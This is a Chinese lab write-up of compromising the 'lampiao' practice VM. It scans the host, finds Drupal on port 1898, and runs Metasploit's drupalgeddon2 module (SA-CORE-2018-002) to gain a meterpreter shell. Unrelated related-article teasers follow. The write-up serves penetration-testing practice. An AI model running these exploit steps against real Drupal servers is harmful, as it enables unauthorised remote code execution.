黑盒渗透盲打lampiao
一、查找主机ip，通过Nmap扫描工具排查出我的靶机的IP 为.134
python tools.py ip -i 192.168.12.0 -h 254 -l 1
二、扫描其他端口。
1898
三、查看网站漏洞情况，典型的漏洞特征
Ac扫描漏洞情况，利用典型的漏洞。
四、开始getshell
1、启动MSF
msf6 > search SA-CORE-2018-002 #查询漏洞特征模块
可以看到，有可以利用的漏洞模块。直接开搞
2、使用对应的漏洞模块
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
3、查看并调整参数。调整参数
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options
五、拿下！
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
meterpreter > shellls
查看系统版本。
为所欲为~~~
相关文章：
黑盒渗透盲打lampiao
一、查找主机ip，通过Nmap扫描工具排查出我的靶机的IP 为.134 python tools.py ip -i 192.168.12.0 -h 254 -l 1 二、扫描其他端口。 1898 三、查看网站漏洞情况，典型的漏洞特征 Ac扫描漏洞情况，利用典型的漏洞。 四、开始getshell 1、启动M…...
笔记：VLAN及交换机处理详细教程（Tagged, UnTagged and Native VLANS Tutorial）
一、内容来源 本文是对下面这篇文章的总结，写的很全、很细致、干货满满，强力推荐： 《Tagged, UnTagged and Native VLANS Tutorial – A Quick Guide about What they Are?》 二、为什么引入VLAN？ 早期设备间通过集线器&#x…...
在字节跳动，造赛博古籍
“你在字节跳动哪个业务？”“古籍数字化。把《论语》《左传》《道德经》这些古籍变成电子版，让大家都能免费看。”没错，除了你熟悉的那些 App，字节跳动还在做一些小众而特别的事情，古籍数字化就是其中之一。在字节跳动…...
Android 12.0设置默认Launcher安装一款Launcher默认Launcher无效的解决方案
1.概述 在12.0的系统rom定制化过程中，在系统中当有多个Launcher的时候，这时候会要求设置默认Launcher,但是在最近的产品开发过程中，发现在设置完默认Launcher以后，在安装个Launcher的时候，会让原来设置的默认Launcher变为空了，就是在系统Settings中的默认应用中，launche…...
数据结构第16周 ：（ 希尔排序+ 堆排序 + 快速排序 ）
目录希尔排序堆排序快速排序希尔排序 【问题描述】给出一组数据，请用希尔排序将其按照从小到大的顺序排列好。 【输入形式】原始数据，以0作为输入的结束；第二行是增量的值，都只有3个。 【输出形式】每一趟增量排序后的结果 【…...
【C++】类和对象
1.面向过程和面向对象初步认识 我们知道，C语言是面向过程的，关注的就是问题解决的过程； C是面向过程和面向对象混编，因为C兼容了C语言，而面向对象关注的不再是问题解决的过程； 而是一件事情所关联的不同…...
Java缓存面试题——Redis应用
文章目录1、为什么要使用Redis做缓存？2、为什么Redis单线程模型效率也能那么高？3、Redis6.0为什么要引入多线程呢？4、Redis常见数据结构以及使用场景字符串（String）哈希(Hash)列表（list）集合&am…...
KMP算法详细理解
一、目的1.KMP应用场景：可以解决字符串匹配问题； 在一个串中查找是否出现过另一个串。2.KMP的经典思想就是:当出现字符串不匹配时，可以记录一部分之前已经匹配的文本内容，利用这些信息避免从头再去做匹配。3.KMP算法关键在于&…...
RabbitMQ单节点安装
在学习RabbitMQ之前，必须要把RabbitMQ的环境搭建起来，刚开始学习时，搭建单节点是入门RabbitMQ最方便、最快捷的方式，这篇文章就是介绍如何使用RabbitMQ压缩包的方式搭建一个单节点的RabbitMQ。 在实际项目中，服务器都…...
tomcat 服务的目录结构和tomcat的运行模式
目录 一、tomcat 服务的目录结构解析： 1、tomcat目录结构： bin目录： conf目录： lib目录： logs目录： temp目录： webapps目录： wokr目录： 二、tomcat服务的运行模…...
vector迭代器失效问题
一、迭代器： 迭代器的主要作用就是让算法能够不用关心底层数据结构，其底层实际就是一个指针，或者是对指针进行了封装，比如：vector的迭代器就是原生态指针T* 。因此迭代器失效，实际就是迭代器底层对应指针所…...
2023年排名前茅的十大饭店装修设计！
相信大家都是知道的，饭店装修设计其实是一门很深的学问，只有掌握这门学问才能够打造出来精美的空间，因此饭店装修必须要有专业餐饮设计公司的设计师进行设计。但是在国内饭店装修设计公司那么多，饭店老板要如何选择呢？…...
MFCCA多通道多说话人语音识别模型上线魔搭（ModelScope）
实验室研发的基于多帧跨通道注意力机制（MFCCA）的多说话人语音识别模型近日上线魔搭（ModelScope）社区，该模型在AliMeeting会议数据集上获得当前最优性能。欢迎大家下载。开发者可以基于此模型进一步利用ModelScope的微调…...
刷题记录:牛客NC25078[USACO 2007 Ope S]City Horizon
传送门:牛客 题目描述: Farmer John has taken his cows on a trip to the city! As the sun sets, the cows gaze at the city horizon and observe the beautiful silhouettes formed by the rectangular buildings. The entire horizon is represented by a number line …...
【Java|golang】 1238. 循环码排列---格雷编码
给你两个整数 n 和 start。你的任务是返回任意 (0,1,2,…,2^n-1) 的排列 p，并且满足： p[0] start p[i] 和 p[i1] 的二进制表示形式只有一位不同 p[0] 和 p[2^n -1] 的二进制表示形式也只有一位不同 示例 1： 输入：n 2, start …...
Python自动化测试框架封装和调用
封装与调用函数与参数化前言 面实现了参数的关联，那种只是记流水账的完成功能，不便于维护，也没什么可读性，接下来这篇可以把每一个动作写成一个函数，这样更方便了。参数化的思维只需记住一点：不要写死 登录…...
线程的执行
承接上文CPU原理简介程序的执行是由控制器发信号推动整个程序一步一步向前走，将数据存储在寄存器，从程序计数器中获取指令，比如先把3放到寄存器，再把5放到寄存器，再做一个加法，加法就是一个指令，…...
【视频】海康摄像头、NVR网络协议简介
1、软硬件整体架构 2、涉及的网络协议 3、协议简介 3.1 海康私有协议 设备发现SADP：进行设备的发现、激活、修改网络参数、忘记密码等； SDK：4200、系统平台的接入前端设备，协议不对外开放，但对外提供接口库； ISAPI：Intelligent Security API(智能安全API)，基于HTTP传输…...
【Spring的事务传播行为有哪些呢？Spring事务的隔离级别？讲下嵌套事务？】
如果你想寻求一份与后端相关的开发工作，那么关于Spring事务相关的面试题你就不能说不会并且不能不知道？ 人生如棋，我愿为卒，行动虽慢，可谁曾见我后退一步？ 一.Spring中声明事务的方式 1.1 编程式事务 编程…...
其实一点不难学会这三步一定让你学会制作一个『3D建模』大屏
上次已经教过大家怎样制作一个简单的2D数据可视化大屏~那有一些朋友们就会说那些炫酷的3D可视化大屏是怎样制作的呢？这不就来了，今天就教大家怎样用山海鲸可视化软件制作一个带3D建模的可视化大屏，并且最重要的是无需会特别复杂的3D建模知识。…...
Allegro等长设置翻车实录：拓扑模板法的3个坑与手工PinPair的救赎
Allegro等长设计避坑指南：从拓扑模板到精准PinPair的实战演进在高速PCB设计中，等长匹配如同精密钟表里的齿轮啮合，差之毫厘便可能导致整个系统时序崩塌。当设计从简单的点对点结构升级到多负载复杂拓扑时，Allegro用户常陷入两种典…...
Claude Code 之父：2026 年我一行代码都没写，编程已被 AI 解决
2026 年，你还在一行一行敲代码吗？Claude Code 的创造者、Anthropic 核心人物 Boris Cherny，在公开访谈里抛出一句让整个行业震动的话：2026 年到现在，我没有写过一行代码。所有开发工作，100% 交给 AI 代理完…...
极致精简，功能强大的PDF编辑工具
这是一款功能全面的PDF编辑工具 你只需要导入一份PDF格式文件 就可以快速的对它进行插入 批注编辑保护转换等各种操作 而且无需登录 也可以直接使用 在插入选项中可以进行插入文字图片 页面页眉页脚页码文档背景水印视频音频等 在批注选项中可以管理批注隐藏批注 高亮显示 文本…...
阿波罗登月，不可能：读心术与影子叙事 ——不是向全世界展示登月，而是向全世界注射登月
阿波罗登月，不可能：读心术与影子叙事 ——不是向全世界展示登月，而是向全世界注射登月 Jianbing Zhu 1^{1}1 1^{1}1 ECT-OS-JiuHuaShan 文明实验室 ORCID: 0009-0006-8591-1891 DOI: 10.5281/zenodo.20373157 Email: ect-os-jiuhuashanzoho…...
告别手动复制！用这个自定义编辑器脚本一键备份/克隆Unity Terrain Data
告别手动复制！用这个自定义编辑器脚本一键备份/克隆Unity Terrain Data在Unity关卡设计和技术美术的工作流中，地形数据的灵活复用往往意味着反复的手动操作——导出高度图、备份材质参数、复制植被分布，每个环节都可能成为效率瓶颈。想象这样…...
Unlock-Music：浏览器中一键解锁加密音乐文件的完整指南
Unlock-Music：浏览器中一键解锁加密音乐文件的完整指南 【免费下载链接】unlock-music 在浏览器中解锁加密的音乐文件。原仓库： 1. https://github.com/unlock-music/unlock-music ；2. https://git.unlock-music.dev/um/web 项目地址: http…...
DeepSeek安全测试辅助Prompt工程白皮书（含17个CVE靶场验证指令模板）
更多请点击： https://intelliparadigm.com 第一章：DeepSeek安全测试辅助 DeepSeek系列大模型在代码生成、漏洞模式识别与安全上下文理解方面展现出独特优势，可作为安全测试工程师的智能协作者。其对OWASP Top 10、CWE分类体系及常见PoC结构具…...
计算机视觉的实战项目：从0到1搭建属于自己的图像识别系统
作为软件测试从业者，我们每天都在和各类功能验证、兼容性测试、自动化测试框架打交道，对AI领域的实战项目往往觉得“门槛高”“和日常工作不沾边”。但随着AI技术在互联网产品中的落地越来越深入，图像识别功能已经成为很多APP、智能硬件的核心…...
如何在原神中解放双手：自动钓鱼、拾取与对话跳过的终极指南
如何在原神中解放双手：自动钓鱼、拾取与对话跳过的终极指南 【免费下载链接】genshin-impact-script 原神脚本，包含自动钓鱼、自动拾取、自动跳过对话等多项实用功能。A Genshin Impact script includes many useful features such as automatic fishing…...
修复 PowerShell 7 下 conda activate 报错的指南
修复 PowerShell 7 下 conda activate 报错的指南 适用场景：升级到 PowerShell 7.x 后，conda activate 突然报错，但 Windows PowerShell 5.1 正常。 发布日期：2026-05-24 适用版本：conda 23.x PowerShell 7.x 一、问题…...